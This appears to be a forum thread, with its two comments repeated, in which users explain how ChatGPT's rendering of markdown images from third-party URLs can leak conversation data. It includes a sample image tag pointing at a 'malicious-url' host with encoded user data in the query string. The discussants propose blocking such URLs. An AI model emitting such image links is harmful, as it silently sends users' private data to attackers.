3 ms·

The remote image is the URL request, it gets made when the remote image is fetched by the front-end to render within the LLM's markdown response.

Terretta 3y ago
Yes. The remote image is not the leak. The URL request is the leak. If this is confusing, control the server and have it return an image, or 404 instead of an image, doesn't matter, while logging the request. You will find the exfiltrated data in the request log, and you will not find an image in the request log. Of course, if your request handler is an image generator, you can generate an image containing your URL request. But by the time your generator gets the request, the data was leaked.
- danShumway 3y ago
  The URL request is the browser request for the URL placed in the src tag of the image. The exfiltration technique is an image request. What the server returns as a response to that request doesn't matter. It doesn't even need to return anything at all. If remote images were blocked from markdown as they are in many other applications, the URL request would not be made by the browser. The mitigation is that ChatGPT should refuse to render image tags or make requests for images if given a 3rd-party URL. I'm not sure if we're talking past each other or what, but I'm not talking about whether the server returns an image. I'm saying, ChatGPT will request an image from an external domain as part of rendering markdown during a conversation, and that GET request can be used as an exfiltration method. The response from the server has nothing to do with it. I'm talking about the fact that ChatGPT will request arbitrary URLs without user input if the URLs are formatted in a markdown block as an image src. ChatGPT is rendering this: <img src="https://malicious-url/?sensitive-user-data-encoded" /> And it should instead when encountering a URL for a 3rd-party domain render this: <img src="" />

Terretta 3y ago

Yes. The remote image is not the leak. The URL request is the leak. If this is confusing, control the server and have it return an image, or 404 instead of an image, doesn't matter, while logging the request. You will find the exfiltrated data in the request log, and you will not find an image in the request log. Of course, if your request handler is an image generator, you can generate an image containing your URL request. But by the time your generator gets the request, the data was leaked.

danShumway 3y ago
The URL request is the browser request for the URL placed in the src tag of the image. The exfiltration technique is an image request. What the server returns as a response to that request doesn't matter. It doesn't even need to return anything at all. If remote images were blocked from markdown as they are in many other applications, the URL request would not be made by the browser. The mitigation is that ChatGPT should refuse to render image tags or make requests for images if given a 3rd-party URL. I'm not sure if we're talking past each other or what, but I'm not talking about whether the server returns an image. I'm saying, ChatGPT will request an image from an external domain as part of rendering markdown during a conversation, and that GET request can be used as an exfiltration method. The response from the server has nothing to do with it. I'm talking about the fact that ChatGPT will request arbitrary URLs without user input if the URLs are formatted in a markdown block as an image src. ChatGPT is rendering this: <img src="https://malicious-url/?sensitive-user-data-encoded" /> And it should instead when encountering a URL for a 3rd-party domain render this: <img src="" />